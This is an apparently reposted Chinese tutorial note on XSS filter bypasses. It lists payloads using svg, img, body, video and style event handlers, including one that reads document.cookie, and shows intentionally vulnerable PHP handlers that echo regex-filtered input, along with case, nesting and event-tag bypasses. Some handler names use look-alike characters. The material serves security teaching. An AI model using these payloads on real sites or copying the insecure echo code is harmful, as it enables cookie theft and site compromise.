XSS的簡單過濾和繞過


攻擊載荷:

以下所有標簽的 > 都可以用 // 代替, 例如 #彈出hack #彈出hack #彈出1,對於數字可以不用引號 #彈出cookie #引用外部的xss


svg標簽 :

```javascript
<svg onload="alert(1)">
<svg onload="alert(1)"//

標簽:

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #彈出cookie
標簽:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

video標簽:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

style標簽:

<style οnlοad=alert(1)></style>

可以進行過濾繞過,以達到XSS攻擊的目的。

區分大小寫過濾標簽

 //前端 1.html:
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
	$name=preg_replace("/<script>/","",$name);      //過濾<script>
	$name=preg_replace("/<\/script>/","",$name);   //過濾</script>
	echo $name; 
}
?>

繞過技巧:可以使用大小寫繞過

不區分大小寫過濾標簽

 //前端 1.html:
<html>

<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>

<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
$name=preg_replace("/<script>/i","",$name);    //不區分大小寫過濾 <script>
$name=preg_replace("/<\/script>/i","",$name);  //不區分大小寫過濾 </script>
	echo $name; 
}
?>

繞過技巧:可以使用嵌套的script標簽繞過 <script>

不區分大小寫,過濾之間的所有內容

 //前端 1.html:
<html>

<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>

<body>
    <form action="action4.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>

//后端 action4.php:
<?php
$name=$_POST["name"]; 
if($name!=null){
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //過濾了<script  及其之間的所有內容
	echo $name; 
}
?>

雖然無法使用 <script> 標簽注入XSS代碼,但是可以通過img、body等標簽的事件或者 iframe 等標簽的 src 注入惡意的 js 代碼。

我們可以輸入 <img src=1 οnerrοr=alert('hack')> ,然后看看頁面的變化

筆記來源於: XSS(跨站腳本攻擊)詳解 - 墨魚菜雞 - 博客園 (cnblogs.com)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM